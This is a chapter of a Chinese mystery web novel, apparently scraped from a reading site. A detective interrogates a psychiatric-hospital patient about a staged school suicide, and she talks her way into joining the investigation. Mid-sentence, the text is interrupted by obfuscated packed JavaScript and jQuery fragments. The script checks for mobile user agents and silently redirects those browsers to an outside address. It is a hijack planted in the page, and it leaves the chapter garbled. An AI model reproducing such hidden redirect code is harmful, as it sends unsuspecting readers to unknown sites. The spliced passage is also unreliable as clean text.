23. 第 23 章

作品:《尸体在反杀[直播+探案]

    “姓名?”


    “谢柏雅。”


    “年龄?”


    “二十。”


    “住址?”


    见谢柏雅没有如前两个问题一样马上开口,庄仲纬从笔记本上抬起头,看向她,重新问了一遍,“住址?”


    谢柏雅十指交叉,微微向椅背上一靠,“根据《刑事诉讼法》规定,证人提供证词的笔录里,并不需要提供本人地址,只要提供联系方式,比如手机号,就足够了。”


    虽然已经决定了以案件为重,但庄仲纬还是遏制不住对谢柏雅的怒意,压着声音反问,“你们医院还可以使用手机?”


    谢柏雅低笑,“所以你知道我的住址,那还问什么?”


    庄仲纬不说话,只是低头,在“地址”后面自己加上了几个字:光城精神卫生中心,随即继续问:“病房号?”


    原来他打探的点在这儿——他虽然是警局内部系统内的人,但出于避嫌的原则,没有资格查阅和自己直系亲属有关的任何案卷卷宗,所以三年前的案子,他可能知道自己这个“凶手”一直在医院,但不知道具体的信息。


    谢柏雅耸耸肩,“我就算告诉了你,你也进不来。”


    特殊病区的防护是出了名的严格,里面的人出不来,外面的人进不去。


    庄仲纬不再纠缠,笔记本翻到新一页,再度开口,“那说说那个案子,湖县七中跳楼案,你知道哪些内容?”


    “被害者方……”想了想,还不知道现实里的名字会不会改,于是谢柏雅改口,“我们叫她方方,是她的网名。长期遭受校园霸凌,还疑似遭到……可能是老师的人猥亵。”


    庄仲纬的笔尖一滞,“这是她在网上告诉你们的?”


    他刚刚抽空看了一眼前面小夏的笔录,也提到了这一点。


    被庄仲纬看了一眼的小夏终于回过神来,点了点头,“啊,是的。”


    自从进到问询室里,这两人间的气氛就剑拔弩张得她根本插不进嘴。对面这个警察分明长着石兴旭的脸,怎么好像对他们在游戏里的事一点印象都没有?


    明明前一天在游戏里他们还在共同合作破案,到了现实里,怎么就像换了个人似的,对她们——尤其是谢姐,这么敌视?


    庄仲纬继续问:“哪个社交平台?聊天记录方便出示一下吗?”


    是警方问询中很正常的问题,但听得小夏后背渗汗。


    要聊天记录,她们肯定是没有的,毕竟现实里她们真的一点都不认识啊!她看向谢柏雅,不知道她心中无所不能的谢姐有没有什么“无中生友”的办法。


    但谢柏雅很淡定,反倒来了招反客为主,摊开手掌看向庄仲纬,“手机。”


    庄仲纬顿了顿,“你们的聊天记录,难道在我的手机里?”


    谢柏雅的手没有缩回来,“你要聊天记录,无非就是想要我证明,我们确实认识死者,而死者也确实遭受过这种事,不是吗?我有更好的证明方法。”


    庄仲纬将自己的手机递了过去。


    谢柏雅大大方方将手机放到了桌子上,打开了网页,输入了一个网页地址,点进去了一个论坛,随之而来的是一个弹出来的提示。


    【本论坛为校内论坛,仅本校账户可查看内容,请登陆。】


    跳到登陆界面,谢柏雅熟门熟路地输入了方映秋的账号和密码,直接登陆了进去。


    “这就是方方的校内论坛账号,我连她账号密码都知道,足以证明我和她很熟。至于她被霸凌的证据,这也已经很明显了。”


    校内论坛和他们在游戏里看到的一模一样,不乏一些毫无根据的造谣贴,再往前翻,还有之前关于助学金的谣言,堪称恶行累累。


    庄仲纬翻了几页论坛,认可了这个证据,在笔记上又记了几笔,随即换了个问题。


    “关于校园霸凌的事我们会和湖县警方沟通,但这些证据……从刑事犯罪角度,只是更坐实了这个女孩儿会自杀的可能,”他抬头,看向她们两人,“她是不是还和你们说过什么?比如自己被人威胁?是夏小姐口供上说的教导主任?如果可以的话,希望你们提供相关证据,可以直接指认凶手。”


    小夏刚刚平复的心再度紧张得砰砰直跳——这可不是什么给个账号密码就能糊弄过去的证据!她们肯定凶手是教导主任完全是“开了天眼”,总不能说她们在游戏里经历过一遍了吧?


    庄仲纬沉默了一会儿,突然看向小夏,“夏小姐很紧张?”


    问询室不算狭窄,但却足够安静,总共就三个人的空间,小夏不正常的呼吸节奏清晰可闻。


    谢柏雅轻轻伸手,在桌下握住了小夏紧张到沁汗的手,冰凉的手掌总算将小夏安抚下来。


    “不是紧张,”谢柏雅替她回答了,“是想到了方方的遭遇,和她说的话。”


    庄仲纬的注意力果然被转移过来,“什么话?”


    谢柏雅斟酌着开口,“在跳楼案之前……他们学校附近还发生过一起凶杀案吧?如果我没有记错,按照方方所说,那个案件的被害者,是游荡在他们学校附近的一个小混混,死因是被人捅了一刀?”


    庄仲纬一怔,毕竟不是市里的辖区,这个案子他是真不清楚,不过很快,他的手机响起提示音,他拿过来一看,是刚刚让小张整理的案件详情,已经发了过来。


    庄仲纬点开一看,果然上面提到了那个凶杀案。


    被害者的身份和死因都和谢柏雅说的一模一样——这不只是新闻不会提到,连他这个身在上级警方机构的人,都是刚刚接触到的线索。


    庄仲纬的目光越发正色起来,“所以,你们的朋友作为那个案子的目击者,看到了什么?”


    谢柏雅点头,“她说她可能知道凶手是谁。”


    “是谁?”


    “她没有明确说明,但我猜应该是她很熟悉的人。方方的社会关系非常简单,她会熟悉的人,只有可能是学校内的相关人员,而一天之后她就在学校里‘自杀’了,所以我想,这一定不同寻常。”


    庄仲纬显然也想通了此间关节,他匆匆结束了笔录,走出问询室,直接开始吩咐。


    “小张,给湖县警局打电话,七中跳楼案另有隐情,先暂缓结案,然后整理一下东西,五分钟后我们出发,去湖县。”


    小张一愣,但脸色有些尴尬,“啊这……庄队,这不合规矩吧?湖县没有问总队申请调人,我们这样贸然去插手……处局长到时候又要扣工资了。”


    庄仲纬将手中的笔录拍在他身上,“工资重要还是人命重要?他们要打报告我扛着,马上准备!”


    小张点头,抱着笔录进办公室开始准备文件,庄仲纬揉了揉额头,突然被谢柏雅叫住。


    “我们也去。”


    庄仲纬动作一顿,“……夏小姐可以,你不行。”


    “理由?”


    庄仲纬又端起了刚刚看到谢柏雅时,那副戒备的状态,“如果不是你真的提供了详细的证据,我会怀疑这是你做的一个局——为的就是借助这个机会彻底潜逃。”


    谢柏雅笑了一声,“很不错的主意,但我一不是凶手二不是犯人,甚至没有任何刑期惩罚和缓刑,我有什么必要潜逃?”


    “没有人喜欢待在精神病院。”


    “我的目的如果是逃离医院,那就是医生该关心的事,和庄警官有什么关系?”


    “不,这和我很有关系。”庄仲纬抬头,目光灼灼,直视谢柏雅,“我关心的,是杀害我弟弟的凶手,能不能被绳之以法


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629916|153840||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ——三年前你们精神失常的诡辩非常精彩,但总有一天,我会重启那个案子,抓住凶手,让她受到应有的惩罚!”


    果然是兄弟关系。


    庄仲纬,庄明竹。谢柏雅在心中将两个名字颠来倒去念了两遍,但模糊的记忆中,依旧没有这对兄弟俩的丝毫线索。


    “那太好了,庄警官,”谢柏雅直视他的目光,以完全不输的气势看了回去,“我们的目的一样呢。我也想抓住那个,真正杀了人却陷害我蒙了三年不白之冤的,凶手。”


    “你……”


    谢柏雅没给他再开口的机会,“但在那之前,更需要被绳之以法的是方方这个案子的嫌疑人。我们是证人,也是目前为止,你们警方能接触到和被害人关系最近的友人,那个年纪的女孩子,很多话甚至不会和父母开口,但愿意和亲近的同伴说,我能拥有她的账号密码就是最好的证明。你就算现在不带我去,湖县警方也早晚会需要传唤我去作口供。”


    谢柏雅摊了摊手,笑了一声,“所以,如果你真的害怕我会‘潜逃’,让我和你一起,总比让我和湖县警方一起好吧?——毕竟,你对我的戒心,无人能及。”


    或许是最后一句话说服了他,庄仲纬也不是拖拉的人,按了按眉心,当机立断道,“可以,十分钟后停车场见。”


    看庄仲纬“砰”一声摔上了办公室的门,谢柏雅缓缓勾了勾唇角,随即看向旁边的小夏,“你要不要给家里打个电话?或者准备一下。”


    小夏还有些愣怔,“准备……什么?”


    “现在已经是傍晚,我查了一下,从我们现在这里到湖县七中开车三个半小时的车程,这还是不堵车的情况,”又一个男声传来,一直在门口等她的林景泽缓缓走了过来,“刑事案件的调查不会那么快,重新取证、采样、调查,来回七个小时,今晚肯定只能住在湖县了。”


    小夏一拍脑袋,“啊,那我给家里阿姨打个电话,不回去吃饭了,顺便去旁边便利店买点东西。”


    小夏风风火火地走了,谢柏雅看向林景泽,他再不开口,她都快忘记还有这人存在了——虽然,这人还是她名义上的“监护人”。


    林景泽看着她沉默的样子,笑了笑,“不向我打个报告么?”


    谢柏雅之前说的假期只是来警局,现在要前往湖县,是临时加的行程。按理来说,她也需要向他这个主治医生申请一下。但她从计划到说服庄仲纬,全程都没有问过他这个“监护人”的意见。


    “我从不做没必要的事,”谢柏雅看了他一眼,“你不会拒绝这个请求。”


    林景泽目中露出笑意,“因为我不怕你逃跑?”


    “不,因为你迫切想要啃下我这块难啃的骨头。”谢柏雅的笑容中有几分讥讽,“你是自愿调来我们医院的,我是你在这个医院唯一的病人,从入院的那一刻,你的目标就是我。你需要接近我,才能实施你的治疗,作为业界的神话,你催眠了我五次才成功一次,开出的药被我神不知鬼不觉地销毁你却找不到丝毫证据,你在我身上已经吃了三年苦头,你需要突破。”


    医院是一个相对固定的场所,三年的治疗都没能打破病人的防备,如果她是林景泽,她也会选择迂回策略,从另一个方面拉进和病人的关系,甚至,通过新的场所来尝试新的治疗。


    或许于他而言,会担一定的风险——比如她这个被评价为“极端危险”的人逃跑,但林景泽无法拒绝。


    他太迫切想要“战胜”她这个病人了。


    谢柏雅走出警局,看了看天边依旧刺眼的目光,缓缓闭眼。


    而且有一点,他们都预判错误。


    她不会、也从没想过逃跑。终有一天,她会亲自找出当年案件的真相,还自己一个清白。